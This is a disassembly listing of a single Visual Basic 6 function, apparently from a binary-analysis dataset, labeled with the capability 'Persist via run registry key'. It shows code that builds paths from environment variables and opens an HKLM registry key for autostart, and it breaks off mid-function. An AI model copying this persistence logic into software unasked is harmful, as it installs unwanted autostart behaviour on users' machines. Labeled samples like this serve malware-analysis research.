Function at 0x40ad60
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401656
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x4015f8
xor edi, edi
lea eax, [ebp - 0xcc]
push edi
push 0x4037f4
push eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x98], edi
mov dword [ebp - 0x9c], edi
mov dword [ebp - 0xa0], edi
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xac], edi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xb4], edi
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xbc], edi
mov dword [ebp - 0xcc], edi
mov dword [ebp - 0xdc], edi
mov dword [ebp - 0xec], edi
mov dword [ebp - 0xfc], edi
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x12c], edi
mov dword [ebp - 0x140], edi
call dword [sym.imp.MSVBVM60.DLL_rtcCreateObject2]
lea ecx, [ebp - 0xcc]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetVar]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x402dec
mov ecx, 0x40f038
call esi
push 0x402ea8
call dword [sym.imp.MSVBVM60.DLL___vbaNew]
push eax
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaObjSet]
mov edx, 0x403cdc
lea ecx, [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0x140]
push edx
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x44]
cmp eax, edi
fnclex
jge 0x40aea6
mov ecx, dword [ebp - 0x9c]
push 0x44
push 0x402eb8
push ecx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
cmp word [ebp - 0x140], di
jne 0x40aef8
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov edx, dword [ebp - 0x18]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
push 0x402ecc
push edx
mov dword [ebp - 0x140], eax
call esi
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0xac]
call edi
push eax
push 0x402efc
call esi
mov edx, eax
lea ecx, [ebp - 0xb0]
call edi
jmp 0x40ba8f
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0xbc]
push edx
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
push edi
push edi
push 1
push edx
push eax
call dword [ecx + 0x7c]
cmp eax, edi
fnclex
jge 0x40af2e
mov ecx, dword [ebp - 0x9c]
push 0x7c
push 0x402eb8
push ecx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov eax, dword [ebp - 0xbc]
lea edx, [ebp - 0x78]
push eax
push edx
mov dword [ebp - 0xbc], edi
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetObj]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
push edi
lea eax, [ebp - 0x78]
push 0x402f48
lea ecx, [ebp - 0xcc]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x10
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
not eax
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], di
je 0x40b080
push edi
lea edx, [ebp - 0x78]
push 0x402f64
lea eax, [ebp - 0xcc]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x10
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xa4]
call esi
lea ecx, [ebp - 0xcc]
call ebx
mov ecx, dword [ebp - 0xa4]
lea edx, [ebp - 0x10c]
push edx
mov dword [ebp - 0x104], ecx
push edi
lea eax, [ebp - 0x78]
push 0x402f64
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x10c], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x10
lea edx, [ebp - 0xdc]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xa4]
call esi
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0xcc]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0xcc]
lea edx, [ebp - 0xa4]
push eax
push ecx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcTrimVar]
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xa0]
call esi
lea ecx, [ebp - 0xcc]
call ebx
jmp 0x40af51
push 0
lea eax, [ebp - 0x78]
push 0x402f98
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaObjVar]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLateMemCall]
add esp, 0xc
lea ecx, [ebp - 0x78]
push 0
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetObjAddref]
mov ecx, 0x40
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov edx, dword [ebp - 0xa0]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
push edx
push 0x403d18
mov dword [ebp - 0x140], eax
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea edx, [ebp - 0x140]
lea eax, [ebp - 0xb0]
push edx
push 0
push eax
call fcn.004068f0
lea ecx, [ebp - 0xb0]
lea edx, [ebp - 0xac]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
call fcn.00406b40
mov eax, dword [0x40f04c]
push eax
push 0x4038e4
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
test eax, eax
je 0x40b143
mov ecx, dword [ebp + 8]
push ecx
call fcn.00406c00
test ax, ax
je 0x40ccb7
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xa0]
push edx
push eax
call fcn.00407270
test ax, ax
jne 0x40ccb7
mov ecx, dword [ebp + 8]
push ecx
call fcn.00407550
test ax, ax
je 0x40ccb7
call fcn.004078f0
test ax, ax
je 0x40b1c5
mov ecx, 0x30
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov edx, 0x403d4c
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x140]
lea eax, [ebp - 0xac]
push edx
push 0xffffffffffffffff
push eax
call fcn.004068f0
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
push 0x40cd82
jmp 0x40cd19
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x104], 0x403e2c
mov dword [ebp - 0x10c], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarDup]
lea ecx, [ebp - 0xcc]
lea edx, [ebp - 0xdc]
push ecx
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcEnvironVar]
lea eax, [ebp - 0xdc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f054
call esi
lea ecx, [ebp - 0xdc]
lea edx, [ebp - 0xcc]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov eax, dword [0x40f054]
add esp, 0xc
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
jne 0x40b28b
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov edx, 0x403eb4
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x140]
lea edx, [ebp - 0xac]
push ecx
push 0xffffffffffffffff
push edx
call fcn.004068f0
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
push 0x40cd82
jmp 0x40cd19
lea eax, [ebp - 0x10c]
push 1
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x104], 0x40f054
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0x11c]
push edx
push eax
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstNe]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b30d
mov ecx, dword [0x40f054]
push ecx
push 0x402e04
call edi
mov edx, eax
mov ecx, 0x40f054
call esi
mov edx, dword [0x40f054]
push edx
push 0x403f4c
call edi
mov edx, eax
mov ecx, 0x40f054
call esi
sub esp, 0x10
mov ecx, 8
mov edx, esp
mov dword [ebp - 0x10c], ecx
mov eax, 0x403f64
push 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x108]
mov dword [ebp - 0x104], eax
push 0x40402c
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x68]
push ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x100]
mov dword [edx + 0xc], eax
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x20
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f040
call esi
lea ecx, [ebp - 0xcc]
call ebx
mov eax, dword [0x40f040]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
jne 0x40b3b4
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov edx, 0x40408c
jmp 0x40b254
lea eax, [ebp - 0x10c]
push 1
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x104], 0x40f040
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0x11c]
push edx
push eax
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstNe]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b436
mov ecx, dword [0x40f040]
push ecx
push 0x402e04
call edi
mov edx, eax
mov ecx, 0x40f040
call esi
mov edx, dword [0x40f040]
push edx
push 0x404124
call edi
mov edx, eax
mov ecx, 0x40f040
call esi
sub esp, 0x10
mov ecx, 8
mov edx, esp
mov dword [ebp - 0x10c], ecx
mov eax, 0x404150
push 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x108]
mov dword [ebp - 0x104], eax
push 0x40402c
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x68]
push ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x100]
mov dword [edx + 0xc], eax
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x20
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f058
call esi
lea ecx, [ebp - 0xcc]
call ebx
mov eax, dword [0x40f058]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
jne 0x40b4dd
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov edx, 0x40426c
jmp 0x40b254
lea eax, [ebp - 0x10c]
push 1
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x104], 0x40f058
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0x11c]
push edx
push eax
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstNe]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b55f
mov ecx, dword [0x40f058]
push ecx
push 0x402e04
call edi
mov edx, eax
mov ecx, 0x40f058
call esi
mov edx, dword [0x40f058]
push edx
push 0x404124
call edi
mov edx, eax
mov ecx, 0x40f058
call esi
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x104], 0x404308
mov dword [ebp - 0x10c], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarDup]
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0xdc]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcEnvironVar]
lea edx, [ebp - 0xdc]
lea eax, [ebp - 0x11c]
push edx
lea ecx, [ebp - 0xec]
push eax
push ecx
mov dword [ebp - 0x114], 0x404324
mov dword [ebp - 0x11c], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f044
call esi
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xdc]
push edx
lea ecx, [ebp - 0xcc]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
mov edx, 0x402dec
mov ecx, 0x40f048
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x38]
push edx
push 0x20019
mov ecx, dword [eax]
push 0
push 0x403134
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x40433c
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea edx, [ebp - 0xb4]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00402c84
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0xb4]
lea ecx, [ebp - 0xb0]
push eax
lea edx, [ebp - 0xac]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 0x104], 0x40f048
mov dword [ebp - 0x10c], 0x4008
lea eax, [ebp - 0x10c]
mov ecx, dword [ebp - 0x38]
push eax
push 0x404374
push ecx
call fcn.00406220
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
push edx
call fcn.00402c10
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [0x40f048]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
je 0x40cc4f
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40cc4f
mov ecx, dword [0x40f04c]
push ecx
push 0x403ea4
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
test eax, eax
jne 0x40b7ed
lea edx, [ebp - 0x10c]
push 1
lea eax, [ebp - 0xcc]
push edx
push eax
mov dword [ebp - 0x104], 0x40f048
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea ecx, [ebp - 0xcc]
lea edx, [ebp - 0x11c]
push ecx
push edx
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstNe]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b787
mov eax, dword [0x40f048]
push eax
push 0x402e04
call edi
mov edx, eax
mov ecx, 0x40f048
call esi
mov ecx, dword [0x40f048]
push 0
push 0xffffffffffffffff
push 0x4043f0
push ecx
mov dword [ebp - 0x104], 0x40f048
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
lea edx, [ebp - 0x10c]
jo 0x40cd95
push eax
lea eax, [ebp - 0xcc]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharVar]
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f048
call esi
lea ecx, [ebp - 0xcc]
call ebx
mov edx, dword [0x40f04c]
push edx
push 0x4038e4
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
test eax, eax
jne 0x40b8e0
mov edx, dword [0x40f048]
mov ecx, 0x40f040
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x10c]
push 1
lea ecx, [ebp - 0xcc]
push eax
push ecx
mov dword [ebp - 0x104], 0x40f040
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0x11c]
push edx
push eax
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b8e0
mov ecx, dword [0x40f040]
mov dword [ebp - 0x104], 0x40f040
push ecx
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
sub eax, 1
lea edx, [ebp - 0x10c]
jo 0x40cd95
push eax
lea eax, [ebp - 0xcc]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharVar]
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f040
call esi
lea ecx, [ebp - 0xcc]
call ebx
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x104], 0x404408
mov dword [ebp - 0x10c], 8
call dword [sym.imp.MSVBVM60.DLL___vbaVarDup]
lea edx, [ebp - 0xcc]
lea eax, [ebp - 0xdc]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcEnvironVar]
lea ecx, [ebp - 0xdc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, 0x40f050
call esi
lea edx, [ebp - 0xdc]
lea eax, [ebp - 0xcc]
push edx
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov ecx, dword [0x40f050]
add esp, 0xc
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
test eax, eax
jne 0x40b975
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov dword [ebp - 0x140], eax
mov edx, 0x404434
jmp 0x40b18e
lea ecx, [ebp - 0x10c]
push 1
lea edx, [ebp - 0xcc]
push ecx
push edx
mov dword [ebp - 0x104], 0x40f050
mov dword [ebp - 0x10c], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x11c]
push eax
push ecx
mov dword [ebp - 0x114], 0x402e04
mov dword [ebp - 0x11c], 0x8008
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstNe]
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40b9f7
mov edx, dword [0x40f050]
push edx
push 0x402e04
call edi
mov edx, eax
mov ecx, 0x40f050
call esi
mov eax, dword [0x40f050]
push eax
push 0x4044e4
call edi
mov edx, eax
mov ecx, 0x40f050
call esi
mov edx, 0x404520
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0x140]
push edx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x44]
test eax, eax
fnclex
jge 0x40ba4d
mov ecx, dword [ebp - 0x9c]
push 0x44
push 0x402eb8
push ecx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
cmp word [ebp - 0x140], 0
jne 0x40bab7
mov ecx, 0x10
call dword [sym.imp.MSVBVM60.DLL___vbaI2I4]
mov edx, dword [ebp - 0x2c]
push 0x402ecc
push edx
mov dword [ebp - 0x140], eax
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x402efc
call edi
mov edx, eax
lea ecx, [ebp - 0xb0]
call esi
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0xb0]
push eax
push 0xffffffffffffffff
push ecx
call fcn.004068f0
lea edx, [ebp - 0xb0]
lea eax, [ebp - 0xac]
push edx
push eax
jmp 0x40ccac
mov eax, dword [ebp - 0x9c]
lea edx, [ebp - 0xbc]
push edx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [eax]
push 0
push 0
push 1
push edx
push eax
call dword [ecx + 0x7c]
test eax, eax
fnclex
jge 0x40baef
mov ecx, dword [ebp - 0x9c]
push 0x7c
push 0x402eb8
push ecx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov eax, dword [ebp - 0xbc]
lea edx, [ebp - 0x78]
push eax
push edx
mov dword [ebp - 0xbc], 0
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetObj]
xor eax, eax
mov word [0x40f05c], ax
mov word [0x40f05e], ax
mov word [0x40f060], ax
mov word [0x40f062], ax
mov word [0x40f064], ax
mov word [0x40f066], ax
mov word [0x40f068], ax
push 0
lea eax, [ebp - 0x78]
push 0x402f48
lea ecx, [ebp - 0xcc]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x10
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
not eax
lea ecx, [ebp - 0xcc]
mov word [ebp - 0x148], ax
call ebx
cmp word [ebp - 0x148], 0
je 0x40bbbc
push 0
lea edx, [ebp - 0x78]
push 0x402f64
lea eax, [ebp - 0xcc]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarLateMemCallLd]
add esp, 0x10
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0xa4]
call esi
lea ecx, [ebp - 0xcc]
call ebx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xa4]
push ecx
push edx
call fcn.00408050
jmp 0x40bb36
mov ax, word [0x40f060]
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
add ax, word [0x40f05c]
lea edx, [ebp - 0x10c]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x10c], 2
jo 0x40cd95
add ax, word [0x40f062]
jo 0x40cd95
mov word [ebp - 0x104], ax
call ebx
mov cx, word [0x40f066]
lea edx, [ebp - 0x10c]
add cx, word [0x40f064]
mov dword [ebp - 0x10c], 2
jo 0x40cd95
add cx, word [0x40f068]
jo 0x40cd95
mov word [ebp - 0x104], cx
lea ecx, [ebp - 0x98]
call ebx
push 0
lea edx, [ebp - 0x78]
push 0x402f98
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaObjVar]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLateMemCall]
add esp, 0xc
lea eax, [ebp - 0x78]
push 0
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarSetObjAddref]
push 0x402e98
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaCastObj]
lea ecx, [ebp - 0x9c]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaObjSet]
mov edx, dword [ebp - 0xa0]
mov eax, 8
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0xcc]
push 0x22
push eax
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x104], 0x4032d8
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
lea ecx, [ebp - 0x11c]
push 1
lea edx, [ebp - 0x10c]
push ecx
lea eax, [ebp - 0xcc]
push edx
lea ecx, [ebp - 0xdc]
push eax
push ecx
call ebx
push eax
lea edx, [ebp - 0xec]
push 0
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaInStrVar]
mov edx, eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0xcc]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov edx, dword [ebp - 0xa0]
add esp, 0xc
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
mov dword [ebp - 0x104], eax
mov eax, 3
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0xa0]
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x124], eax
lea edx, [ebp - 0x48]
push ecx
lea eax, [ebp - 0xcc]
push edx
push eax
mov dword [ebp - 0x11c], 2
mov dword [ebp - 0x12c], 0x4008
call dword [sym.imp.MSVBVM60.DLL___vbaVarSub]
lea ecx, [ebp - 0x11c]
push eax
lea edx, [ebp - 0xdc]
push ecx
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarSub]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Var]
push eax
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0xec]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcRightCharVar]
lea edx, [ebp - 0xec]
lea ecx, [ebp - 0x88]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea edx, [ebp - 0x88]
lea eax, [ebp - 0xcc]
push edx
push eax
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x10c], 2
call dword [sym.imp.MSVBVM60.DLL___vbaLenVar]
lea ecx, [ebp - 0x10c]
push eax
lea edx, [ebp - 0xdc]
push ecx
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarSub]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Var]
push eax
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0xec]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharVar]
lea edx, [ebp - 0xec]
lea ecx, [ebp - 0x88]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
cmp word [0x40f05c], 0
jne 0x40bf4e
cmp word [0x40f064], 0
jne 0x40bf4e
mov edx, dword [ebp + 8]
push 0x404558
mov eax, dword [edx]
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0xac]
call esi
push eax
push 0x4032e4
call edi
mov dword [ebp - 0xc4], eax
mov eax, 8
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x12c], eax
lea edx, [ebp - 0xcc]
mov dword [ebp - 0x114], ecx
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0xdc]
push eax
push ecx
mov dword [ebp - 0x11c], 0x400c
mov dword [ebp - 0x124], 0x4045d0
call ebx
mov ecx, dword [eax]
sub esp, 0x10
mov edx, esp
sub esp, 0x10
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [edx + 8], ecx
mov ecx, esp
sub esp, 0x10
mov dword [edx + 0xc], eax
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x118]
mov dword [ecx], edx
mov edx, dword [ebp - 0x114]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x110]
mov dword [ecx + 8], edx
mov edx, dword [ebp - 0x12c]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x128]
mov ecx, esp
push 3
push 0x4045e0
mov dword [ecx], edx
mov edx, dword [ebp - 0x124]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x120]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaObjVar]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaLateMemCall]
add esp, 0x3c
lea ecx, [ebp - 0xac]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea edx, [ebp - 0xdc]
lea eax, [ebp - 0xcc]
push edx
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
mov edx, dword [ebp + 8]
